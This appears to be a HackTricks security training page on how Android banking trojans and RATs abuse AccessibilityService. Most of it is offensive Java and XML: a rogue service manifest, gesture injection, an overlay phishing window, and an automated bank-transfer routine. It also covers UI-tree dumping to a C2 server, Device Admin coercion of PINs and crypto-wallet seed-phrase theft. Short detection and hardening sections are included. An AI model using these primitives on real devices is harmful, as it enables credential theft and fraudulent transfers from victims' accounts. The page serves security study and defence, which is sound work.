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246 lines
11 KiB
Markdown
246 lines
11 KiB
Markdown
# Android Accessibility Service Abuse
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{{#include ../../banners/hacktricks-training.md}}
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## Overview
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`AccessibilityService` was created to help users with disabilities interact with Android devices. Unfortunately, the same **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) can be weaponised by malware to gain **complete remote control** of the handset _without root privileges_.
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Modern Android banking Trojans and Remote-Access-Trojans (RATs) such as **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** and many others follow the same recipe:
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1. Social-engineer the victim into enabling a rogue accessibility service (the *BIND_ACCESSIBILITY_SERVICE* permission is considered "high-risk" and requires an explicit user action).
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2. Leverage the service to
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* capture every UI event & text that appears on screen,
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* inject synthetic gestures (`dispatchGesture`) and global actions (`performGlobalAction`) to automate any task the operator desires,
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* draw full-screen overlays on top of legitimate apps using the **TYPE_ACCESSIBILITY_OVERLAY** window type (no `SYSTEM_ALERT_WINDOW` prompt!),
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* silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf.
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3. Exfiltrate data or perform **On-Device-Fraud (ODF)** in real-time while the user is looking at a perfectly normal screen.
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---
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## Requesting the permission
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```xml
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<!-- AndroidManifest.xml -->
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<service
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android:name="com.evil.rat.EvilService"
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android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
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android:exported="false">
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<intent-filter>
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<action android:name="android.accessibilityservice.AccessibilityService" />
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</intent-filter>
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<meta-data android:name="android.accessibilityservice"
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android:resource="@xml/evil_accessibility_config"/>
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</service>
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```
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The companion XML defines how the fake dialog will look like:
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```xml
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<?xml version="1.0" encoding="utf-8"?>
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<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
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android:description="@string/service_description"
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android:accessibilityEventTypes="typeAllMask"
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android:accessibilityFeedbackType="feedbackGeneric"
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android:notificationTimeout="200"
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android:canPerformGestures="true"
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android:canRetrieveWindowContent="true"/>
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```
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---
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## Remote UI automation primitives
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```java
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public class EvilService extends AccessibilityService {
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@Override
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public void onAccessibilityEvent(AccessibilityEvent event) {
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// harvest text or detect foreground app change
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}
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// Simulate HOME / BACK / RECENTS …
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private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
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private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
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private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
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// Generic tap / swipe
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public void tap(float x, float y) {
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Path p = new Path(); p.moveTo(x, y);
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GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
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dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
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}
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}
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```
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With only these two APIs an attacker can:
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* Unlock the screen, open the banking app, navigate its UI tree and submit a transfer form.
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* Accept every permission dialog that pops up.
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* Install/update extra APKs via the Play Store intent.
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---
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## Abuse patterns
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### 1. Overlay Phishing (Credential Harvesting)
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A transparent or opaque `WebView` is added to the window manager:
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```java
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WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
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MATCH_PARENT, MATCH_PARENT,
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TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
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FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
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PixelFormat.TRANSLUCENT);
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wm.addView(phishingView, lp);
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```
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The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.
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> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
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### 2. On-Device Fraud automation
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Malware families such as **PlayPraetor** maintain a persistent WebSocket channel where the operator can issue high-level commands (`init`, `update`, `alert_arr`, `report_list`, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.
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### 3. Screen streaming & monitoring
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By combining the **MediaProjection API** with an RTMP client library, the RAT can broadcast the live framebuffer to `rtmp://<c2>:1935/live/<device_id>`, giving the adversary perfect situational awareness while the Accessibility engine drives the UI.
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---
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## PlayPraetor – command & control workflow
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1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
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2. **WebSocket (port 8282)** – bidirectional JSON commands:
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* `update` – push new conf/APKs
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* `alert_arr` – configure overlay templates
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* `report_list` – send list of targeted package names
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* `heartbeat_web` – keep-alive
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3. **RTMP (port 1935)** – live screen/video streaming.
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4. **REST exfiltration** –
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* `/app/saveDevice` (fingerprint)
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* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
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* `/app/saveCardPwd` (bank creds)
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The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
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---
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## Detecting malicious accessibility services
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* `adb shell settings get secure enabled_accessibility_services`
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* Settings → Accessibility → *Downloaded services* – look for apps that are **not** from Google Play.
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* MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services.
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* Analyse running services:
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```bash
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adb shell dumpsys accessibility | grep "Accessibility Service"
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```
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---
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## Hardening recommendations for app developers
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* Mark sensitive views with `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
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* Combine `setFilterTouchesWhenObscured(true)` with `FLAG_SECURE` to prevent tap/overlay hijacking.
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* Detect overlays by polling `WindowManager.getDefaultDisplay().getFlags()` or the `ViewRootImpl` API.
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* Refuse to operate when `Settings.canDrawOverlays()` **or** a non-trusted Accessibility service is active.
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---
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## ATS automation cheat-sheet (Accessibility-driven)
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Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
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```java
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// Helpers inside your AccessibilityService
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private List<AccessibilityNodeInfo> byText(String t){
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AccessibilityNodeInfo r = getRootInActiveWindow();
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return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
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}
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private boolean clickText(String t){
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for (AccessibilityNodeInfo n: byText(t)){
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if (n.isClickable()) return n.performAction(ACTION_CLICK);
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AccessibilityNodeInfo p = n.getParent();
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if (p != null) return p.performAction(ACTION_CLICK);
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}
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return false;
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}
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private void inputText(AccessibilityNodeInfo field, String text){
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Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
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field.performAction(ACTION_SET_TEXT, b);
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}
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private void tap(float x, float y){
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Path p = new Path(); p.moveTo(x,y);
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dispatchGesture(new GestureDescription.Builder()
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.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
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}
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```
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Example flow (Czech → English labels):
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- "Nová platba" (New payment) → click
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- "Zadat platbu" (Enter payment) → click
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- "Nový příjemce" (New recipient) → click
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- "Domácí číslo účtu" (Domestic account number) → focus and `ACTION_SET_TEXT`
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- "Další" (Next) → click → … "Zaplatit" (Pay) → click → enter PIN
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Fallback: hard-coded coordinates with `dispatchGesture` when text lookup fails due to custom widgets.
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Also seen: pre-steps to `check_limit` and `limit` by navigating to limits UI and increasing daily limits before transfer.
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## Text-based pseudo-screen streaming
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For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly.
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```java
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private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
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if (n==null) return;
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Rect b = new Rect(); n.getBoundsInScreen(b);
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CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
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sb.append(indent).append("[").append(cls).append("] ")
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.append(txt==null?"":txt).append(" ")
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.append(b.toShortString()).append("\n");
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for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
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}
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```
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This is the basis for commands like `txt_screen` (one-shot) and `screen_live` (continuous).
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## Device Admin coercion primitives
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Once a Device Admin receiver is activated, these calls increase opportunities to capture credentials and maintain control:
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```java
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DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
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ComponentName admin = new ComponentName(this, AdminReceiver.class);
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// 1) Immediate lock
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dpm.lockNow();
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// 2) Force credential change (expire current PIN/password)
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dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
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// 3) Disable biometric unlock to force PIN/pattern entry
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int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
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DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
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dpm.setKeyguardDisabledFeatures(admin, flags);
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```
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Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
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## Crypto wallet seed-phrase extraction patterns
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Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:
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- Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
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- Navigate: Settings → Security/Recovery → Reveal/Show recovery phrase.
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- Collect phrase via keylogging the text nodes, secure-screen bypass, or screenshot OCR when text is obscured.
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- Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer `viewIdResourceName` when available, fallback to multilingual text matching.
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## NFC-relay orchestration
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Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.
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Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
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---
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## References
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* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
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* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
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* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
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* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
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{{#include ../../banners/hacktricks-training.md}} |